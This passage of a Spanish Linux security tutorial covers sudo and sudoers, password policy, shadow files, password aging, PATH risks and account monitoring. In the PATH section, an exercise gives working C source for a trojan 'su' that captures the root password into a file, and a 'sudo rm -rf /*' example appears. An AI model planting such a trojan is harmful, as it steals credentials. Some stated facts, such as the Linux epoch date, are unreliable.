para permitirle a los usuarios regulares realizar algunas operaciones como root, pero como también realizar comandos como cualquier otro usuario del sistema. Un administrador de sistema usando sudo puede permitirle a un usuario ejecutar un comando temporalmente como root mientras accesa al uso de opciones y comandos.

Suponga que un usuario es requerido que tenga el permiso de root para realizar el comando chown en unos archivos. Sin embargo, es para lo único que el usuario siempre necesitara acceso a root. En vez de darle la contraseña de root al usuario y de esta manera darle libertad completa del sistema. Es mejor usar sudo y restringirlo solo al comando chown.

Ademas de ser usado por los usuarios del sistema, este también puede ser usado por los grupos. Un grupo de usuarios puede ser designado en el archivo de configuración, permitiéndoles a todos los miembros la opción de realizar comandos como root.

¿Cómo Opera sudo?

Sudo permite estas operaciones gracias al superusuario, este es el configura el archivo /etc/sudoers. Este archivo contiene campos usados para especificar cuales usuarios pueden realizar ciertas tareas en computadores específicos. Los privilegios de acceso pueden variar desde asignarle a un usuario el acceso completo a una red hasta solo poder realizar un solo comando en el sistema.

Sudo es protegido por una contraseña, esto significa que si un usuario trata de ejecutar sudo debe entrar una contraseña. De esta manera se evita que cualquier usuario pueda tener la contraseña de root del sistema. Sudo solo requiere que los usuarios conozcan su propia contraseña. De esta manera, sudo provee un alto nivel de seguridad limitando así el número de usuarios que necesitan la contraseña de root para poder realizar las actividades necesarias. Esta opción, de requerir la contraseña puede ser cambiada en el archivo de configuración, con la opción NOPASSWD. Después de que los usuarios se han verificado con la contraseña correcta, tienen un tiempo de 5 minutos en el cual tienen la libertad de utilizar el comando sin tener que reingresar la contraseña. El limite de los 5 minutos es reiniciado cada vez que el usuario ejecuta sudo, y la duración de este tiempo también puede ser cambiada en el archivo de configuración.

Sudo no esta limitado solo a root. Un usuario se le puede conceder permiso para ejecutar comandos como otro usuario. La instalación debe ser realizada como root, alojando cada código fuente en el directorio apropiado, aunque ya todas las distros de GNU/Linux lo traen integrado y sino se instala con un simple yum install or apt-get si es debian.

Configurando sudo

El archivo de configuración para el programa sudo es llamado sudoers, este debe ser escrito antes de ser ejecutado para que pueda funcionar. Este debe estar alojado en el directorio /etc/. Es importante familiarizarse con el contenido del archivo /etc/sudoers porque sudo ofrece una gran variedad de opciones.

Usando visudo

El sudo viene acompañado por un editor de texto llamado visudo, el cual debe ser usado para editar el archivo sudoers. De una manera similar al vipw para editar el passwd y vigr para editar a /etc/group, visudo verifica los posibles errores de sintaxis básicos dentro del archivo y bloquea el archivo para prevenir múltiples configuraciones, o compromisos de seguridad de archivos temporales. Este programa es instalado cuando el programa sudo es instalado y este viene con su propia pagina de man. Este trabaja similar al vi/vim y no debe de ser un problema para alguien familiarizado con este.

El archivo /etc/sudoers

El archivo /etc/sudoers esta compuesto por dos partes. La primera parte crea la estructura y los alias a seguir por el programa sudo, con alias de usuarios, alias de ejecutar-como (runas), alias de hosts (host aliases) y alias para comandos específicos. La segunda parte determina cuales usuarios son permitido a accesar a sudo y sus límites, definiendo el acceso a los perfiles de los usuarios dentro de sudo.

El archivo /etc/sudoers contiene toda la información que es necesaria para usar sudo. La siguiente lista describe cada parte del archivo /etc/sudoers:

- User alias: Asigna alias para cada grupo de usuarios que usaran sudo.
- Runas alias: Provee un alias común para ciertos usuarios los cuales serán emulados por sudo.
- Host Alias: Una lista de alias que pueden ser apodados en un grupo.
- Command Alias: Una lista de comandos que los usuarios pueden usar a través de sudo.
- User configuration: Las diferentes configuraciones para cada alias o usuario.

Los Alias

Tenga presente que las alias de sudo no son los mismos que los alias de los comandos que los usuarios suelen especificar en su perfil del shell. La primera parte de este archivo es fijado en el siguiente formato:

alias NAME = primero1, segundo2, tercero3, etc.

Hay cuatro tipos de alias: User_Alias, Runas_alias, Host_Alias y Cmnd_Alias.

Las especificaciones en User_Alias agrupa diferentes usuarios. Esto puede ser hecho con nombres de usuarios, números UID prefijados con un #, y los números GID prefijados con %. Por ejemplo, si el siguiente alias de usuario es ingresada:

User_Alias SYSTEMADMIN = alex, rafy, anibal

Luego los usuarios alex, rafy y anibal serán considerados como parte del grupo SYSTEMADMIN. Es importante que los nombre de los grupos estén en mayúscula.

La especificación del Runas_Alias son proveídas para listar los usuarios que serán usados para ejecutar los comandos:

Runas_Alias OP = root, operator
Runas_Alias DB = oracle

Las especificaciones Host_Alias son usadas para identificar computadores, redes, o hardware de red. Direcciones IP, nombres de hosts (Hostnames), grupos de red y los nombres de red pueden ser usados:

Host_Alias FUNDACION = fcld, stdgo, santiago
Host_Alias ROMANA = 222.222.100.222, 222.222.100.111
Host_Alias SERVERS = mail, www, ns

Las especificaciones de los Cmnd_Alias identifican los comandos a permitir o prohibir. Las rutas de los comandos deben ser incluido en las especificaciones:

Cmnd_Alias KILL = /usr/bin/kill
Cmnd_Alias PRINTING = /usr/sbin/lpc

Las Especificaciones de los Usuarios

La segunda parte de el archivo sudoers es llamada sección de especificación de usuario. Esta utiliza las especificaciones de alias antes mencionados para determinar los comandos específicos y los computadores que los usuarios pueden accesar. El formato para esto es como el siguiente:

user/NAME cuales_computadores = cuales_comandos

Un ejemplo de especificación de usuario es:

SYSTEMADMIN ALL = /usr/bin/kill

La especificación de usuario anterior permite a todos los usuarios en el grupo SYSTEMADMIN usar el comando kill en cualquier computador.

alex fcld = ALL

Esta especificación de usuario permite al usuario alex ejecutar cualquier comando en el computador fcld.

Este es un ejemplo de la sección de especificación de usuario en el archivo /etc/sudoers, con usuarios particulares que están disponibles para realizar solo ciertos comandos en ciertos computadores.

alex santiago = /usr/bin/
rafy SERVIDOR = /usr/bin/adduser
anibal ALL = /usr/sbin/lpc, /usr/bin/lpr

El usuario alex podrá realizar cualquier comando que resida en el directorio /usr/bin en la estación de trabajo santiago. El usuario rafy puede agregar mas usuarios en el equipo SERVIDOR con el programa adduser, y anibal tiene la habilidad de imprimir usando los utilitarios de impresión en todos los computadores. Los tres usuarios antes mencionados necesitaran proveer una contraseña cuando utilicen el utilitario sudo.

El archivo log

Otra característica de sudo es su capacidad de escribir al registro o bitácora (log). El utilitario sudo puede registrar a cualquiera que utilice o intente utilizar sudo y no tan solo el nombre de usuario sino ademas cuales comandos ellos ejecutaron. Por defecto, sudo usa syslog, pero este puede ser cambiado para que registre en un archivo específico propio.

Porque sudo permite el monitoreo específico del uso de los privilegios de root para ejecutar comandos, este es ideal para un administrador junior de sistema que usted tiene bajo su supervisión y le delega tareas. Cualquier error hecho por un administrador de sistemas puede ser rastreado.

Ejecutando sudo

Ahora que el archivo /etc/sudoers esta configurado correctamente, es posible comenzar a utilizar el programa sudo. En el primer ejemplo, el usuario rafy listará el contenido del directorio /root/ con el comando ls:

rafy@stdgo.fcld$ sudo ls /root/
Password: ********
directorio-1 archivo.txt carta.odt

La lista del directorio /root/ pudo ser mostrada a través del programa sudo. Note que al usuario se le requirió ingresara su contraseña. Esta es la contraseña del usuario rafy. Una vez ha sido ingresada la contraseña, sudo no le hará pedidos posteriores de contraseña por un tiempo de 5 minutos. Durante ese tiempo, es posible realizar todos los comandos a los cuales el usuario ha sido autorizado sin tener que ingresar la contraseña nuevamente. Por ejemplo, si el usuario rafy ha realizado el comando mostrado anteriormente, el no tendrá que reingresar una contraseña, como es mostrado a continuación:

rafy@stdgo.fcld$ sudo cp ~/carta.odt /root/
rafy@stdgo.fcld$ sudo ls /root
directory file file2 myFile

Como fue mencionado anteriormente, este periodo de tiempo permanecerá por los próximo 5 minutos después de ser ingresada la contraseña, vencido este tiempo de gracia, el usuario rafy tendrá que ingresar la

contraseña nuevamente para así poder realizar otra operación que necesite los privilegios de sudo.

El siguiente ejemplo muestra el formato básico usando sudo. sudo no permitirá acciones sin autorización, como es mostrado a continuación:

anibal@stdgo.fcld$ sudo rm -rf /*
Sorry, user anibal is not allow to execute 'rm -rf /*' as root on server

Riesgos de Seguridad con sudo

Pocos problemas de seguridad han ocurrido con sudo. Uno de esos que si ocurrió esta documentado en el sitio de CERT en http://www.cert.org/advisories/CA-1992-11.html. Esta página describe un agujero de seguridad en el cual programas dinámicamente enlazados son vulnerables a problemas de seguridad cuando se ejecutan a través de sudo. También hay problemas de seguridad con las librerías glibc y los programas usados para otorgar los privilegios y permisos del SUID/SGID para otros programas, los cuales pueden además incluir sudo.

La versión 1.5.9p4 de sudo realizada por RedHat (Versión actual es la 1.7.4p) permitía a un usuario copiar un programa (por ejemplo el /usr/bin/vi) a otro programa al cual el usuario tiene acceso con sudo y utilizar este programa para efectuar algún daño al sistema. Por ejemplo, si el archivo al que vi fue copiado fuera capaz de ejecutarse a través de sudo, el usuario pudiese abrir un shell de root y editar archivo restringidos (como por ejemplo el /etc/passwd).

Aunque muchos de esos agujeros de seguridad son viejos, o aplican a sistemas que no son GNU/Linux, es importante verificar los sitios web de seguridad (como e ya mencionado http://www.cert.org) por cualquier problema de seguridad antes de descargar, instalar o utilizar un programa.

Configurar un Usuario para usar sudo

1.- Edite el archivo /etc/sudoers como usted debe usar el editor visudo, utilitario ya mencionado que revisa por sus errores de sintaxis y que no mas de una persona este accesando al archivo simultáneamente.

nombre_usuario ALL = /sbin/shutdown -k now

2.- Ahora edite el archivo /etc/syslog.conf para habilitar el ingreso de sudo y agregar las siguientes lineas al final del archivo:

```
# Utilitario sudo
# Registra los intentos de uso exitosos y fracasados de sudo al archivo /var/log/sudo
local2.*        /var/log/sudo
```

3.- Usando touch refresque la fecha de acceso del archivo que especificó en el syslog.conf, luego ingrese al sistema como un usuario no programado en sudoers para usar sudo e intente ejecutar un comando privilegiado; luego dele un vistazo al archivo log para verificar que todo lo configurado anteriormente esta funcionando:

 # touch /var/log/sudo
Login: aod
Password:
$ sudo /sbin/shutdown -k now
#cat /var/log/sudo

Cuentas de Seguridad

Cuentas de usuarios no aseguradas apropiadamente son una fuente primaria por el cual los atacantes accesan al sistema. Muchos problemas potenciales pueden ser prevenidos con un manejo cuidadoso de las cuentas de

usuarios, incluyendo una buena selección de contraseñas, políticas efectivas que fortalezcan los hábitos de los usuarios y la asignación de permisos apropiados. Todos esos requerimientos deben ser alcanzados para lograr buenos niveles de seguridad. Complicar todo el proceso necesario para que un intruso pueda poner en riesgo nuestra seguridad es el factor principal por la que todas esas tareas deben de cumplirse para mantener al mínimo el potencial de la entrada de un intruso, así evitando inconvenientes para nuestros usuarios y los servicios que ofrece nuestra infraestructura tecnológica que hemos sido contratados para mantener.

La seguridad de las cuentas locales es una de las partes mas importante de todos los sistemas de seguridad. En esta sección, exploraremos varios métodos de asegurar una cuenta local. Los temas individuales le ayudarán a formar una estrategia total para asegurar su sistema. Estos temas incluyen:

- Contraseñas
- El archivo /etc/passwd
- Shadow Passwords
- Envejecimiento de las contraseñas
- Tentativas de Ingresos Fracasadas
- Ruta de búsqueda de comandos ($PATH)
- Restringiendo Ingresos de root
- Shells Restringidas
- Monitoreando Cuentas
- Facilidad de Ingreso a un Sistema Abierto a Eventos
- Control de Acceso a Archivos
- Manejo de Salvaguardar Archivos
- Ambientes de Seguridad
- Bloqueo de Seguridad

Contraseñas

Las contraseñas son una de las fuerzas base de la seguridad básica en Linux. Si la contraseña es comprometida, el modelo de esquema de seguridad básico es afectado. Para reforzar la selección de una buena contraseña, usted necesita hacer mas que solo seleccionar los valores apropiados en una política de usuario. Usted también debe de ayudar a los usuarios a elegir contraseñas fuertes.

Las contraseñas fuertes contienen por lo menos tres de los siguientes tipos de contenido:

- Letras Mayúsculas
- Letras Minúsculas
- Números
- Caracteres que no son alfanuméricos como son los signos de puntuación

Una contraseña ideal debe de estar compuesta por ocho caracteres y ser un grupo de letras y números aleatorios, y que los caracteres sean intercalados entre mayúsculas y minúsculas.

Las contraseñas fuertes deben de obedecer las siguientes letras:

- No usar nombres comunes o sobrenombres
- No usar información personal, ejemplo fecha de nacimiento.
- Puede repetir letras o dígitos en la contraseña.
- Utilice por lo menos ocho caracteres.

- Piense como un crackers y evite esquemas que pueden exponer que la contraseña sea adivinada o encontrada. (Ejemplo: Escribir la contraseña en un papel y dejarlo en una mesa o pegarlo en una pared).

Las contraseñas comunes son típicamente los nombres de un familiar o de la pareja, o una palabra a la que una persona siempre menciona o con la cual se siente identificada El problema de contraseñas como estas es la vulnerabilidad de un ataque de diccionario o alguien tratando de hacer algunas adivinanzas educadas en el prompt de la contraseña. Las contraseñas de las personas tienden a elegir solo un pequeño porcentaje de las posibles combinaciones. Esto le permite a un cracker el ataque por diccionario en vez de un generador de caracteres aleatorios, y usted quedará sorprendido con el alto porcentaje de aciertos.

GNU/Linux y las Contraseñas

La información de las contraseñas encriptadas es almacenado en el archivo llamado /etc/shadow. Este archivo debe de ser mantenido en un alto estado de seguridad, con permisos de solo acceso al root. Este debe también ser propiedad del usuario de mas alta jerarquía en el sistema, root. GNU/Linux tiene esencialmente dos categorías de usuarios en el sistema:

Usuarios ordinarios y Usuarios privilegiados.

Algunas veces los usuarios privilegiados son llamados incorrectamente superusuarios. Realmente, la única cuenta del superusuario (root) le pertenece al usuario identificado con el número de UID cero en el sistema. GNU/Linux establece las diferencias entre usuarios de esta manera: cuando se crea el usuario en el sistema, se le asigna un Identificador Único (UID) a la nueva cuenta de usuario. Este número comienza desde cero, y es el número mas pequeño (número de mas alto privilegio) el que se le es asignado al usuario root. ROOT puede ejecutar cualquier programa, abrir cualquier directorio, examinar cualquier archivo, cambiar los atributos de cualquier objeto en el sistema y realizar muchas otras funciones con pequeñas o sin restricción alguna, solo las restricciones de lógica, como obedecer los sistemas de archivos de sólo lectura. El objetivo de los crackers en los sistemas GNU/Linux y UNiX es obtener la contraseña de root.

ROOT es el propietario del archivo /etc/passwd. El archivo puede ser leído por todos los usuarios en el sistema para habilitar muchas utilidades e informaciones de autentificación importantes de cada usuario. Por lo tanto, cualquiera en un sistema GNU/Linux puede copiar el contenido de este archivo y determinar cual campo contiene la contraseña encriptada. Luego cualquiera puede ejecutar una serie de pruebas para determinar el resultado de la cadena de encriptación de una contraseña elegida y compararla con el contenido del archivo /etc/shadow. Así, la elección de una contraseña es importante para el primer nivel de seguridad en todos los sistemas y GNU/Linux no es diferente.

Implementando Contraseñas Fuertes

En la mayoría de los casos, fomentar hábitos de buenas contraseñas no es suficiente; usted debe de animar a la elección de una buena contraseña. Una buena elección de contraseña es aquella que es difícil de recordar, difícil de adivinar y es resistente hasta un brutal ataque como lo es el ataque de diccionario.

No hay manera eficiente de que un cracker descubra una buena contraseña. Desafortunadamente, la mejor contraseña es aquella que es difícil de recordar. La mayoría de las personas tienen mas de una contraseña, las cuales son elegidas de algo básico que a las personas se les resulte difícil de olvidar. La mejor manera de cumplir esto es requiriendo contraseña fuertes.

Como discutimos anteriormente, una contraseña fuerte usa por lo menos ocho caracteres, no contiene ninguna parte de los nombres de los usuarios y usa por lo menos tres de las siguientes cuatro características: letras mayúsculas, letras minúsculas, números y caracteres no alfanuméricos como los signos de puntuación.

El Archivo /etc/passwd

Cuando se discute la seguridad de las cuentas en GNU/Linux, usted debe entender la seguridad de las contraseñas en GNU/Linux. Esta comprensión requiere la verificación del formato del archivo de contraseñas. Usted puede obtener lo específico para la implementación del formato contraseñas utilizando el siguiente comando: **man 5 passwd**

El archivo passwd contiene varios campos, los cuales son explicados a continuación:

Campo	Significado o Uso
Login Name	La cadena actual que representa que usuario esta en el sistema.
Encrypted Password	En GNU/Linux, la contraseña es encriptada usando un algoritmo DES o MD5 altamente modificado y el resultado es almacenado.
UID	Unico número de identificación del usuario.
GID	Número de identificación del grupo del usuario.
User Name	El nombre actual del usuario.
Home	El directorio home por defecto (usualmente propiedad del usuario).
Shell	La interfaz del shell programática por defecto.

Las contraseñas en el archivo passwd son encriptadas. también es posible almacenar las contraseñas en un archivo separado; esto es llamado contraseña shadow (shadow password). Esta técnica asegura que mientras el nivel de acceso de lectura del usuario es mantenido, el contenido del campo encriptado no es desplegado. Esta técnica obliga a que se tenga que utilizar un programa para crackear contraseñas desde un usuario normal. Un usuario que gana acceso a root puede estar todavía en la disposición de crackear contraseñas.

Contraseñas Shadow (Shadow Password)

Las contraseñas shadow son un reemplazo para las utilidades que son usadas para crear y mantener la configuración de la seguridad sobre los usuarios de un sistema. Las contraseñas encriptadas están ubicadas en /etc/shadow en vez de /etc/passwd. Shadow también provee realce de la funcionalidad para la administración de las contraseñas. Algunas de las características de shadow incluyen:

- Las contraseñas codificadas son solo accesados por root.
- La información de las cuentas de los usuarios pueden ser destinadas a envejecer, esto significa que cada cierto tiempo los usuarios se ven en la obligación de cambiar las contraseñas, como también las cuentas que expiran después de un periodo de tiempo pueden ser enviadas a una base temporal.
- Se le requerirá a los usuarios a que creen buenas contraseñas.
- Mejorar las utilidades para la administración de las cuentas y contraseñas.
- Un archivo de configuración para fijar el login default (/etc/login.defs).

Aquí se muestra un ejemplo de como debe lucir el archivo /etc/shadow:

```
root:$1$w667SPXs$9jafhwDYUt7MxiAp2w/NS/:12946:0:::::
halt:*:9797:0:::::
operator:*:9797:0:::::
shutdown:*:9797:0:::::
sync:*:9797:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
postmaster:*:9797:0:::::
man:*:9797:0:::::
guest:*:9797:0:::::
```

```
nobody:*:9797:0:::::
aod:$1$t8qCF9ms$99MMFjihI3WHgzDpZwkVO1:12946:0:99999:7:::
```

Las características de la contraseña shadow es implementado por la creación de un archivo llamado /etc/shadow, el cual es propiedad de root y solo puede ser accesado por el. El archivo anteriormente mostrado /etc/passwd esta todavía visible, pero el segundo campo siempre es reemplazado por defecto por una entrada, la cual nunca es el resultado de ninguna encriptación.

Envejecimiento de la Contraseña

En este tiempo, poderosos hardware están acortando el tiempo requerido para ejecutar un programa que adivina las contraseñas. Una manera de agregar nivel adicional de seguridad en contra de ataques de contraseñas en sistemas GNU/Linux es cambiando las contraseñas mas a menudo.

Muy a menudo, los usuarios no realizan esos cambios. Así, un mecanismo de forzar un cambio regular es deseado. Esta técnica en llamada envejecimiento de las contraseñas y esta disponible en muchos de los sistemas GNU/Linux.

El envejecimiento de las contraseñas puede ser habilitado como una función del administrador de sistemas para controlar el acceso a los usuarios.

En los sistemas GNU/Linux, el envejecimiento de las contraseñas es manejado por el comando chage. Note que la contraseña shadow debe de ser habilitada en orden de que el envejecimiento de las contraseñas pueda efectuarse. Este comando toma un número en las opciones de la linea de comandos para controlar los diferentes aspectos del sistema de envejecimiento de la contraseña para un usuario en particular. Las opciones son descritas a continuación:

Opción	Significado
-m	Este es el número mínimo de días entre los cambios de contraseña. Un valor de cero significa que el usuario debe de cambiar su contraseña en cualquier momento.
-M	Este es el número máximo de días entre los cambios de contraseñas.
-W	Este es el número de días antes de que el usuario reciba un mensaje de advertencia de que su contraseña se vencerá y quedará invalida.
-E	Esta es la fecha de expiración. Después de este día, la cuenta no podrá ser usada.
-d	Este es el día del ultimo cambio, igual que el número de días desde la época de que en GNU/Linux (Enero 5, 1991) la contraseña fue cambiada la ultima vez, o este puede ser especificado en formato DD/MM/AA.
-I	Este es el periodo inactivo. Si una contraseña ha expirado por muchos días, se deshabilita el usuario.
-l	Este lista la configuración actual. Este es usado por los usuarios sin privilegios para determinar cuando su contraseña o su cuenta de usuario expiraran.

Por ejemplo el comando:

 # chage -m 2 -M 30 -W 5 aod

Le requiere al usuario aod que cambie su contraseña en no menos de 2 o mas de 30 días, y este le advierte 5 días antes de que el cambio sea necesario. Este es un ejemplo del uso de chage para aprender como se configura el envejecimiento de la contraseña para el usuario aod y en este segundo podemos listar:

```
$ chage -l aod
Minimum:          0
Máximum:          99999
Warning:          7
Inactive:         -1
Last Change:      Jun 12, 2005
Password Expires: Never
```

Password Inactive: **Never**
Account Expires: **Never**

Cuentas del Sistema

Las cuentas privilegiadas son referidas como las cuentas del sistemas. Estas también son propiedades del root o por cualquier pseudo usuario con un bajo número de UID. Un pseudo usuario es aquel que esta asociado a un login, pero nunca pertenece a una persona. Es importante controlar el acceso a esos usuarios. Examine sus archivos /etc/passwd o /etc/group. El usuario bin y el grupo adm son comunes por defecto. Estas cuentas y otras que ejecutan procesos de servidores, como nobody, no tendrán derecho de login y y solo podrán tener el privilegio mínimo requerido para realizar su función. Estos principios son también llamados los principios de los menos privilegiados y aplican tanto para las cuentas del sistemas como para las cuentas de los usuarios.

Intentos de Ingreso al Sistema sin Exito

Todos los sistemas GNU/Linux pueden notar intentos de ingreso al sistema sin éxito. Los ingresos fracasados son registrados por el sistema de log en el archivo /var/log/messages. Esta facilidad es manejada en las diferentes distribuciones de GNU/Linux, algunas de estas distribuciones son configuradas para almacenar esta información en /var/log/secure.

Para localizar estos mensajes, use el siguiente comando, reemplazando /var/log/messages con /var/log/secure si su distribución ha sido configurada como tal:

```
# grep login /var/log/secure
Jun 28 16:04:11 stdgo.fcld login(pam_unix)[7849]: session opened for user    root by (uid=0)
Jun 28 17:15:20 stdgo.fcld login(pam_unix)[7849]: session closed for user    root
Jun 28 17:15:25 stdgo.fcld login(pam_unix)[9093]: check pass; user unknown
Jun 28 17:15:25 stdgo.fcld login(pam_unix)[9093]: authe failure; logname= uid=0 euid=0 tty=/dev/vc/1 ruser= rhost=
Jun 28 17:15:28 stdgo.fcld login[9093]: FAILED LOGIN 1 FROM /dev/vc/1 FOR UNKNOWN, Auth failure
Jun 28 17:15:34 stdgo.fcld login(pam_unix)[9093]: session opened for user    knibalism by (uid=0)
Jun 28 19:55:03 stdgo.fcld login(pam_unix)[7848]: session opened for user    root by (uid=0)
```

Ruta de Búsqueda

En GNU/Linux, los comandos frecuentemente usados son verificados por la búsqueda en un grupo de directorios especificados por una variable de ambiente llamada $PATH (o $path cuando se usa csh). Es común incluir el directorio actual en una ruta para que los comandos locales puedan ser referenciados sin necesidad de dar un nombre de ruta extenso. Para indicar esta ruta, a menudo los usuarios usan la designada por GNU/Linux "." para el directorio actual. Algunas veces, sin embargo, un usuario puede cambiar los directorios a un directorio global de escritura común (tales como /tmp, /var/tmp o /usr/tmp). Si una referencia a "." es incluida como parte de ambiente del shell, luego la referencia a un script de shell o un comando común que esta ubicad en este directorio global puede ser interpretado por un shell como la referencia a una versión falsa del programa localizado en el mismo directorio. Este comando puede contener código que, sin el conocimiento del usuario , puede ser ejecutado con efectos laterales desafortunados Tales programas son conocidos como troyanos (Trojan Horse). La ruta de búsqueda es usualmente fijada en la shell Bourne o Korn.

$PATH=pathname1:pathname2:pathname3:
$export PATH

En el shell C o similares a este, se hace de esta manera:

%set path = (pathname1 pathname2 pathname3)

En GNU/Linux, tales rutas pueden ser incluidas en el archivo .profile, el cual debe ser parecido a lo siguiente:

PATH=/bin:/usr/bin:/sbin:$HOME
export PATH

De nuevo, cuando se utilice la shell C, el archivo .cshrc (o .login) puede contener una linea que sea parecida a lo siguiente:

Path = (/bin /usr/bin /sbin $HOME)

En GNU/Linux, los archivos comienzan con la notación del punto (no debe ser confundido con el "." del pathname) son conocidos como archivos ocultos. La mayoría de los archivos de Inicialización son ocultos para que no sean visibles en el directorio home del usuario.

Así, si usted frecuentemente necesita referenciar un archivo en el directorio home del usuario (directorio por defecto) creando un directorio llamado bin y alojando los ejecutables personales ahí, crea un buen sentido de seguridad.

Suponga que el pathname (nombre de ruta) "." fue incluido en un archivo de Inicialización del shell. también asumimos que este usuario no esta bien documentado en cuestión de la buena práctica de la seguridad e inadvertidamente han incluido este nombre de ruta en la variable de ambiente PATH. Ahora imagine que el ejecuta frecuentemente el comando who. Asuma que mas adelante el usuario ha creado el siguiente archivo:

$ touch /tmp/testfile

Luego, entre al siguiente programa y guárdelo como un archivo de nombre quien.c:

```
# include <stdio.h>
main ()
        {
        system ("/usr/bin/who");
        system ("/sbin/rm /tmp/testfile2>/dev/null");
        }
```

Ahora compile el programa usando el siguiente comando:

```
$ gcc -o quien quien.c
```

El usuario confiado puede tener este perfil:

```
PATH=.:/bin:/usr/bin:/sbin:$HOME
export PATH
```

Ahora imagine que el usuario entra lo siguiente:

```
$ quien
```

Verifique si puede acceder el archivo, el que justamente has creado, llamado quien.
El próximo ejercicio contiene otro ejemplo de un troyano que muestra el peligro de incluir "." como un componente de ruta del ambiente.

Ejercicio: Robar contraseña de root con un troyano

No se proveen soluciones para este ejercicio.

1.- Cambie a su directorio home. Entre el siguiente código en un archivo llamado su.c y proceda a compilarlo utilizando el compilador GCC, que debe estar ya instalado. (Si usted lo desea ejecutar mas de una vez, usted debe hacer una copia llamela su2.c por que al ejecutarlo este se borra.)

```
/* Este es un programa troyano. Asumiremos que antonio es una cuenta de usuario real.
* Aquí el inescrupuloso programa ha sido instalado como una utilidad
* enmascarada como el programa real su. El programa su es usado a menudo
* para cambiar de una cuenta de usuario a otra. Este es otro usuario el cual la
* mayor parte del tiempo es root. Note que esto trabaja dejando a algún usuario
* que tiene privilegios de root incluya este programa como parte de su ambiente.
*
* Lo que el programa hace es preguntar por una contraseña, luego llevar a cabo.
*/
    int main ()
    {
        char buf[127], passwd[25];
        system ("/bin/stty -echo");             /* Apaga echo*/
        printf ("Password:");                   /*Preguntarle al usuario por su contraseña*/
        scanf ("%s", passwd);                   /*Este digíta la contraseña*/
        system ("/bin/stty echo");              /* Encendemos el echo nuevamente como esta*/
        printf ("\nIncorrecta\n");              /* Le informamos al usuario que fue incorrecta, solo para que parezca natural*/
        sprintf (buf, "/bin/echo %s >> contras.tmp", passwd); /*guardamos la contraseña que digíta en el archivo contras.tmp*/
        system (buf);                                         /*Restablecemos el buffer*/
        system ("/bin/rm su");                                /*Eliminamos el ejecutable*/
    exit (0);
    }
```

2.- Ahora compilelo con : **$ gcc -o su su.c**

3.- El directorio actual (“.”) debe estar en en su ruta de búsqueda de comandos, PATH, pero para esta prueba simplemente lo ejecutaremos con ./su - root.

4.- Ejecute su mientras el comando anterior esta instalado en su directorio actual.

5.- Verifique que la contraseña de root que entraste es ahora almacenada en al archivo contras.tmp.

Restringir el Ingreso de root

Una manera de incrementar la seguridad de la cuenta de root es limitar el ingreso directo al sistema de consolas virtuales o ttys como son conocidas. GNU/Linux controla el ingreso de root usando el archivo /etc/securetty. El archivo /etc/securetty debe de ser legible y escribible solo por root. Este archivo es simple, en el simplemente se listan los nombres de dispositivo donde los ingresos de root son permitidos. Por ejemplo, limitar el ingreso de root al dispositivo de la consola, este archivo solo necesita contener una linea similar a la siguiente: **console**

Para verificar su archivo /etc/securetty, ejecute el siguiente comando:

```
# cat /etc/securetty
tty1
tty2
tty3
tty4
tty5
tty6
```

Este ejemplo permite el ingreso de root en las primeras seis consolas virtuales, estándar en la mayoría de las distribuciones GNU/Linux.

Shells Restringidas

Otra opción disponible para el administrador de sistemas es conceder acceso a los usuarios externos por vía de las shells restringidas. Un ejemplo de este tipo de shell sería la rksh, la cual es una versión restringida del shell Korn. Esta permite la mayoría de las características de shell excepto que:

- Limitado redireccionar la entrada y la salida (ejemplo, > y >>).
- Limitado cambiar directorios.
- Las variables del ambiente no pueden ser cambiadas.
- Las rutas a los comandos son verificadas (PATH).

Estas shells a menudo resultan útiles y pueden prevenir a los usuarios de que ejecuten programas inadvertidamente y que crear inconvenientes de seguridad.

Monitoreando las Cuentas

Los administradores o oficiales de seguridad también monitorean constantemente las cuentas de los usuarios por patrones de uso sospechoso, cosas como un usuario que estando de vacaciones y aparece aún activo o cuentas de usuario ejecutando cálculos computacionales desproporcionados comparado con sus asignaciones a al historial de sus labores, utilizando muchos recursos, como es el uso de memoria ram y espacio en disco. El archivo utmp es donde la información de la sesión es archivada en un log. El archivo wtmp es donde la información de contabilidad es escrita al log. Este contiene:

- El nombre del usuario y el UID
- El número de la terminal (tty)
- El número del dispositivo
- El ID del proceso (PID)
- Estado de salida (Para ayudar al tiempo transcurrido)
- Otra información pertinente

La información que uno recoge de esos archivos es por lo normal procesada por los comandos last, who, write y login. Usted también conoce donde se origino la sesión. La integración de esta información en un monitoreo de cuentas ejercido diariamente puede ser muy útil para detectar un patrón inusual.

Ejecutando el comando last la información de ingreso de sistemas grabada:

```
# last
aod     pts/1                Tue Jun 28 21:33 still logged in
aod     pts/0                Tue Jun 28 19:55 still logged in
aod     pts/0                Tue Jun 28 19:55 - 19:55 (00:00)
aod     vc/2                 Tue Jun 28 19:55 still logged in
root vc/1                    Tue Jun 28 19:55 still logged in
reboot system boot 2.6.11.12         Tue Jun 28 19:54      (01:39)
knibalis vc/1                 Tue Jun 28 17:15 - down (00:27)
knibalis :0                  Tue Jun 28 16:04 - 17:42 (01:37)
root vc/1                    Tue Jun 28 16:04 - 17:15 (01:11)
reboot system boot 2.6.11.12         Tue Jun 28 16:04      (01:38)
knibalis :0                  Tue Jun 28 08:58 - 09:50 (00:52)
root vc/1                    Tue Jun 28 08:57 - down (00:53)
wtmp begins Sun Jun 12 11:59:02 2005
```

Usted también puede especificar uno o mas dispositivos como argumentos al comando last en orden de visualizar la actividad de esos dispositivo em particular:

```
[root@localhost antonio]# last
antonio  pts/0        :0.0          Wed Feb  2 20:13   still logged in
```

```
antonio  tty1         :0               Wed Feb  2 20:12   still logged in
reboot   system boot  2.6.34.7-66.fc13 Wed Feb  2 20:12 - 20:47  (00:35)
antonio  pts/1        :0.0             Wed Feb  2 19:22 - 19:41  (00:18)
wtmp begins Sat Dec 25 15:12:22 2010
```

El comando last tiene unos cuantos argumentos que pueden ser útiles para visualizar la información con un poco mas de detalle, para esto lease las paginas man de este comando last (man last).

Procesos de Contabilidad

La mayoría de las distribuciones de GNU/Linux ofrecen una manera fácil de auditar los procesos del sistema. Los software de contabilidad de procesos pueden ser activados cuando el sistema es iniciado, de esta manera toda la información de los comandos es almacenada. Los archivos relevantes a los procesos de contabilidad son:

/var/log/pacct Si esta habilitado, este es usado para auditar procesos. Este es el archivo actual de log usado por el proceso de software de contabilidad.
/usr/sbin/accton Esto es usado para habilitar o deshabilitar el seguimiento de los procesos del sistema.
/usr/bin/lastcomm Este es el programa para auditar la información grabada.

Servidores de Registros de Acontecimiento del Sistema

